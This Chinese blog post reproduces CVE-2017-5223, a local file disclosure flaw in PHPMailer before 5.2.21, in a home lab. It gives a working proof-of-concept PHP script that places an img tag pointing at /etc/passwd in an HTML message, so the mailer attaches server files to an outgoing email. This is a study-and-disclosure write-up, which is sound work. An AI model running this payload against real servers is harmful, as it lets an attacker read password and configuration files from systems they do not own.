• PHPMailer < 5.2.21


        CVE-2017-5223 :PHPMailer < 5.2.21 - Local File Disclosure 

      本文主要介绍一下PHPMailer < 5.2.21 - Local File Disclosure漏洞的环境搭建和利用,关于漏洞的描述请参考下面的第二个链接。

    环境搭建

    说明

      这里用到的邮件服务器是自己本地搭建的邮件服务器,我感觉其实也是可以用谷歌等邮件服务器,因为PHPMailer只是一个发送邮件的功能,跟具体接收邮件的服务器是无关的(谷歌的或是自己搭建的),为啥不能Google的呢?对,之前的两篇博客用的是Google的,换个胃口不行嘛 ~ 额,其实是Google邮件服务器总是连不上,墙外的世界我不懂 ~ 而且我本地有完备邮件系统 ~ 

      关于邮件系统搭建请参考我的另外两篇博文:CentOS6 安装Sendmail + Dovecot + Squirrelmail 、 CentOS6 安装Sendmail + Dovecot + Roundcubemail

      这两个随便选一个,主要是前面的Sendmail和Dovecot的安装配置,Webmail界面只是为了方便展示,有兴趣的可以试一下,本文用的Webmail是Squirrelmail。(如果可以随意在墙外游走,请忽略环境搭建)

    邮件服务器环境介绍

      下面简单看下本地的邮件服务器环境: CentOS6 :Sendmail + Dovecot + Squirrelmail

      因为是局域网环境,所以在除本机外(邮件服务器),需要在hosts文件中增加一条邮件服务器的解析记录:(因为不想搭建DNS)

      linux: 在/etc/hosts中增加如下内容:

    192.168.0.6 mail.squirrelmail.com

      这样便能正确解析:

    starnight:~ starnight$ ping -c 1 mail.squirrelmail.com
    PING mail.squirrelmail.com (192.168.0.6): 56 data bytes

      打开浏览器可以通过域名进行访问:http://mail.squirrelmail.com/squirrelmail-1.4.20/src/login.php

      邮件系统环境就演示到这里了。(再提醒一句,方便的话可以直接使用Google或其他服务器进行测试,因为搭建本地环境还是蛮费事的)

    PHPMailer 环境

      这里用的是PHPMailer-5.2.16, 为啥不用别的版本的,因为懒!最近刚好搭建过这个环境,其实换成其它的都是没有问题的,关于这部分的环境搭建,请参考:PHPMailer发送邮件(一)  中的发送邮件测试二的环境。

      为了模仿更真实的环境,PHPMailer在另一台虚拟机上,如下,这里同样也需要在/etc/hosts文件中增加一条解析记录:192.168.0.6 mail.squirrelmail.com (同上)

      访问如下地址:http://192.168.0.8/phpmailer-5.2.16/ 中的sendmail.php, 便能发送邮件到本地的邮件服务器环境:mail.squirrelmail.com

      出现Message sent!,表示邮件发送成功,我们登陆一下Webmail:  http://mail.squirrelmail.com/squirrelmail-1.4.20/src/webmail.php

      可以看到,我们已经成功的使用了PHPMailer发送邮件,并且可以跟本地的邮件服务器mail.squirrelmail.com很好的进行交互了。

      参考sendmail.php:

    <?php  
    #Author:Yxlink
    require_once('PHPMailerAutoload.php');
    $mail = new PHPMailer();
    $mail->IsSMTP();
    $mail->Host = "mail.squirrelmail.com";
    $mail->Port = 25;
    $mail->SMTPAuth = false;
    $mail->SMTPSecure = false;
     
    $mail->CharSet  = "UTF-8";
    $mail->Encoding = "base64";
     
    $mail->Username = "user1";  
    $mail->Password = "930901";  
    $mail->Subject = "Test";
     
    $mail->From = "user1@squirrelmail.com";  
    $mail->FromName = "user1";  
     
    $address = "user2@squirrelmail.com";
    $mail->AddAddress($address, "user2");
     
    //$mail->AddAttachment('test.txt','test.txt');  //test.txt可控即可任意文件读取 
    $mail->Subject = 'Helo, it is a test!';
    $mail->Body    = 'Test mail using PHPMailer and mail.squirrelmail.com';
    $mail->AltBody = 'Test mail using PHPMailer and mail.squirrelmail.com';
     
    if(!$mail->Send()) {
      echo "Mailer Error: " . $mail->ErrorInfo;
    } else {
      echo "Message sent!";
    }
    ?>

    漏洞测试

      访问:http://192.168.0.8/phpmailer-5.2.16/下的poc.php, 同样会发送一封邮件,并且可以读取PHPMailer所在机器的文件。

      下面是读取根目录下message.txt的情况(/message.txt)

      读取/etc/passwd:

      参考poc.php:

    <?php  
    #Author:Yxlink
    require_once('PHPMailerAutoload.php');
    $mail = new PHPMailer();
    $mail->IsSMTP();
    $mail->Host = "mail.squirrelmail.com";
    $mail->Port = 25;
    //$mail->SMTPAuth   = true;
    $mail->SMTPAuth = false;
    $mail->SMTPSecure = false;
     
    $mail->CharSet  = "UTF-8";
    $mail->Encoding = "base64";
     
    $mail->Username = "user1";  
    $mail->Password = "930901";  
    $mail->Subject = "RRRRRRRRRRRRRRR";
     
    $mail->From = "user1@mail.squirrelmail.com";  
    $mail->FromName = "user1";  
     
    $address = "user2@mail.squirrelmail.com";
    $mail->AddAddress($address, "user2");
     
    $mail->AddAttachment('test.txt','test.txt');  //test.txt可控即可任意文件读取 
    $mail->IsHTML(true);  
    $msg="<img src='/etc/passwd'>RRRRRRRRRRRRRRR";//邮件内容形如这样写。
    $mail->msgHTML($msg);
     
    if(!$mail->Send()) {
      echo "Mailer Error: " . $mail->ErrorInfo;
    } else {
      echo "Message sent!";
    }
    ?>

      关于该漏洞的演示就到这里。

    References

      PHPMailer < 5.2.21 - Local File Disclosure

      PHPMailer任意文件读取漏洞分析(CVE-2017-5223)  

        PHPMailer发送邮件(一)

      PHPMailer 发送邮件(二)

      CentOS6 安装Sendmail + Dovecot + Squirrelmail

      CentOS6 安装Sendmail + Dovecot + Roundcubemail 

  • 相关阅读:
    读完此文让你了解各个queue的原理
    借汇编之力窥探String背后的数据结构奥秘
    汇编高手带你玩转字符串,快上车!
    语雀调研
    产品技能一:抽象能力
    我所认知的敏捷开发
    产品经理需要的技能,我有吗?
    孙正义采访:接下来的30年,一切将被重新定义
    5G小白鼠
    goto语句为啥不受待见
  • 原文地址:https://www.cnblogs.com/Hi-blog/p/7812934.html
Copyright © 2020-2023  润新知